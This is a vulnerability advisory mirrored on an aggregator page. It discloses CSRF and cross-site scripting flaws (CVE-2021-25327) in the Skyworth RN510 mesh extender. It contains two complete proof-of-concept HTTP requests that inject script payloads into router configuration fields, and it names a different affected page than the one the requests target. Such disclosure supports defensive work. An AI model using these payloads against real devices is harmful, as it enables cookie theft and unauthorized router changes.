Lucene search
K

Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting

🗓️ 04 May 2021 00:00:00Reported by Kaustubh G. PadwadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 262 Views

Authenticated XSRF in RN510 Mesh Extender, CVE-2021-25327, Shenzhen Skyworth Digital Technology Company Ltd., RN510 with firmware V.3.1.0.4, High-Critical Severity, KSA-Dev-001

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting Vulnerabilities
2 May 202100:00
zdt
Circl
CVE-2021-25327
5 May 202112:19
circl
CNNVD
SKYWORTH Digital Technology RN510 跨站脚本漏洞
9 Apr 202100:00
cnnvd
CNVD
Skyworth Digital Technology RN510 Cross-Site Request Forgery Vulnerability
12 Apr 202100:00
cnvd
CVE
CVE-2021-25327
9 Apr 202112:19
cve
Cvelist
CVE-2021-25327
9 Apr 202112:19
cvelist
EUVD
EUVD-2021-12224
7 Oct 202500:30
euvd
NVD
CVE-2021-25327
9 Apr 202113:15
nvd
Prion
Cross site request forgery (csrf)
9 Apr 202113:15
prion
RedhatCVE
CVE-2021-25327
22 May 202519:25
redhatcve
Rows per page
`Overview  
========  
  
Title:- Authenticated XSRF in RN510 Mesh Extender.  
CVE-ID :- CVE-2021-25327  
Author: Kaustubh G. Padwad  
Vendor: Shenzhen Skyworth Digital Technology Company  
Ltd.(http://www.skyworthdigital.com/products)  
Products:  
1. RN510 with firmware V.3.1.0.4 (Tested and verified)  
Potential  
2.RN620 with respective firmware or below  
3.RN410 With Respective firmwware or below.  
  
Severity: High--Critical  
  
Advisory ID  
============  
KSA-Dev-0011  
  
About the Product:  
==================  
  
* RN510 dual-band wireless AC2100 access point delivers high-speed  
access for web surfing and HD video streamings. Integrated with two  
gigabit LAN ports, and a dual-band AP which supports 2x2  
802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510provides  
a stable & reliable high speed wired and wireless connectivity for home  
user and SOHO users. Utilizing state of art EasyMesh solution, two or  
more RN510 units could be easily teamed upwith Skyworth ONT gateway  
(e.g. GN543) and form an automatically organized network. RN510 could  
support either wired line backhaul or wireless backhaul to other mesh  
node. User could enjoy a wonderful zero-touch, robust and failure auto  
recovery, seamless connected wireless home networking experience.  
RN510 uses a system of units to achieve seamless whole-home Wi-Fi  
coverage, eliminate weak signal areas once and for all. RN510 work  
together to form a unified network with a single network name. Devices  
automatically switch between RN510s as you move through your home for  
the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area  
of up to 2,800 square feet. And if that’s not enough, simply add more  
RN510 to the network anytime to increase coverage. RN510 provides fast  
and stable connections with speeds of up to 2100 Mbps and works with  
major internet service provider (ISP) and modem. Parental Controls  
limits online time and block inappropriate websites according to unique  
profiles created for each family member. Setup is easier than ever with  
the Skywifi app there to walk you through every step.  
  
Description:  
============  
An issue was discovered on Shenzhen Skyworth  
  
The value of DestIPAdderss under /cgi-bin/net-routeadd.asp is not  
properly sanatizing hence it allow to execute malicious javascript,  
which result a successful cross site scripting in  
/cgi-bin/net-routeadd.asp, Additionally value of urlitem under  
/cgi-bin/sec-urlfilter.asp is also not getting properly sanitize hence  
it will result to successful cross site scripting.  
  
Since device dont have CSRF valdation it is possible to perform the XSRF  
by using CSRF + XSS vulnerability.  
  
  
Additional Information  
========================  
Sample request -1  
  
Request  
========  
  
POST /cgi-bin/net-routeadd.asp HTTP/1.1  
Host: 192.168.2.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.2.1/cgi-bin/net-routeadd.asp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 235  
Connection: close  
Cookie: UID=admin; PSW=admin;  
SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c  
Upgrade-Insecure-Requests: 1  
  
add_num=0&user_def_num=0&WanInterfaceFlag=br0&metricFlag=0&gwflag=Yes&ifflag=Yes&DestIPAddress=<svg><script  
?>alert(document.cookie)&DestSubnetMask=255.255.255.255&gwStr=on&GatewayIPAddress=192.168.1.1&ifStr=on&Interface=br0&SaveFlag=1  
  
Sample Request-2  
  
POST /cgi-bin/sec-urlfilter.asp HTTP/1.1  
Host: 192.168.2.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.2.1/cgi-bin/sec-urlfilter.asp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 162  
Connection: close  
Cookie: UID=admin; PSW=admin;  
SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c  
Upgrade-Insecure-Requests: 1  
  
Save_Flag=1&Actionflag=Add&EnableUrlFilterFlag=1&delnum=&add_num=1&Url_num=1&enableFilter=on&FilterPolicy=0&urlitem=%3C%2Fscript%3E%3Csvg+onload%3Dalert%281%29%3E  
  
  
[Affected Component]  
IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web  
server implementation.  
  
------------------------------------------  
[Attack Type]  
Remote  
------------------------------------------  
[Impact Code execution]  
true  
------------------------------------------  
[Impact Denial of Service]  
true  
  
------------------------------------------  
[Attack Vectors]  
An Authentiated attacker need to run set the cross site scripting  
payload at DestIPAddress,urlitem under /cgi-bin/net-routeadd.asp and  
/cgi-bin/sec-urlfilter.asp respectively in order to achive XSS.  
  
[Vulnerability Type]  
====================  
CSRF, XSS  
  
How to Reproduce: (POC):  
========================  
  
One can use below exploit  
  
Attacker needs to run above requests in order to achive to XSRF.  
  
  
Mitigation  
==========  
  
[Vendor of Product]  
Shenzhen Skyworth Digital Technology Company  
Ltd.(http://www.skyworthdigital.com/products)  
  
Disclosure:  
===========  
19-Jan-2021:- reported this to vendor  
19-Jan-2021:- Requested for CVE-ID  
  
  
credits:  
========  
* Kaustubh Padwad  
* Information Security Researcher  
* [email protected]  
* https://s3curityb3ast.github.io/  
* https://twitter.com/s3curityb3ast  
* http://breakthesec.com  
* https://www.linkedin.com/in/kaustubhpadwad  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation